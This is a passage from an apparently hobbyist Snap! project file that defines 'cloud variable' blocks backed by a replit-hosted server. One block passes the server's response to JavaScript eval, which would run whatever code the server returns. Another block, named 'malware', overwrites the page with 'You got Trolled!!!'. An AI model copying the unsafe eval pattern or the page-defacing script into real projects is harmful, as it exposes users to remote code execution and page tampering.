%s"><custom-block s="cloud var %s"><block var="v"/></custom-block></custom-block></block><block s="doReplaceInList"><block var="l"/><block var="a"/><block var="s"/></block><custom-block s="set cloud var %s to %s"><block var="v"/><custom-block s="stringify %l"><block var="a"/></custom-block></custom-block></script></block-definition><block-definition s="item %&apos;s&apos; of cloud list %&apos;v&apos;" type="reporter" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input><input type="%s"></input></inputs><script><block s="doReport"><block s="reportListItem"><block var="s"/><custom-block s="listify %s"><custom-block s="cloud var %s"><block var="v"/></custom-block></custom-block></block></block></script></block-definition><block-definition s="ping %&apos;error&apos;" type="command" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%upvar"></input></inputs><script><block s="doIfElse"><block s="reportEquals"><block s="reportURL"><block s="reportJoinWords"><list><block var="server"/><block s="reportJoinWords"><list><l>ping/</l><custom-block s="cloud ID"></custom-block><l>/?user=</l><custom-block s="username"></custom-block></list></block></list></block></block><l>None</l></block><script><block s="doSetVar"><l>error</l><block s="reportBoolean"><l><bool>true</bool></l></block></block></script><script><block s="doSetVar"><l>error</l><block s="reportBoolean"><l><bool>false</bool></l></block></block></script></block></script></block-definition><block-definition s="sign up" type="command" category="sensing"><header></header><code></code><translations></translations><inputs></inputs><script><custom-block s="ignore %s"><block s="reportURL"><block s="reportJoinWords"><list><block var="server"/><block s="reportJoinWords"><list><l>signup/</l><custom-block s="cloud ID"></custom-block><l>/?user=</l><custom-block s="username"></custom-block></list></block></list></block></block></custom-block></script></block-definition><block-definition s="cloud list %&apos;g&apos;" type="reporter" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input></inputs><script><block s="doReport"><custom-block s="listify %s"><custom-block s="cloud var %s"><block var="g"/></custom-block></custom-block></block></script></block-definition><block-definition s="all cloud vars" type="reporter" category="sensing"><header></header><code></code><translations></translations><inputs></inputs><script><block s="doReport"><block s="evaluate"><block s="reportJSFunction"><list><l>a</l></list><l>return new List(eval(a))</l></block><list><block s="reportURL"><block s="reportJoinWords"><list><block var="server"/><l>cvs/</l><block s="reportJoinWords"><list><custom-block s="cloud ID"></custom-block><l>/?user=</l><custom-block s="username"></custom-block></list></block></list></block></block></list></block></block></script></block-definition><block-definition s="delete cloud var %&apos;cloud&apos;" type="command" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input></inputs><script><block s="fork"><block s="reifyScript"><script><custom-block s="ignore %s"><block s="reportURL"><block s="reportJoinWords"><list><block var="server"/><block s="reportJoinWords"><list><l>del/</l><custom-block s="cloud ID"></custom-block><l>/</l><block var="cloud"/><l>/?user=</l><custom-block s="username"></custom-block></list></block></list></block></block></custom-block></script><list></list></block><list></list></block></script></block-definition><block-definition s="malware" type="command" category="sensing"><header></header><code></code><translations></translations><inputs></inputs><script><block s="doRun"><block s="reportJSFunction"><list></list><l>document.body.innerHTML="You got Trolled!!!"</l></block><list></list></block></script></block-definition></blocks><variables><variable name="server"><l>https://snapcloudvars.18001767679.repl.co/</l></variable></variables></project><media name="hacky de hack" app="Snap! 6, https://snap.berkeley.edu" version="1"></media></snapdata>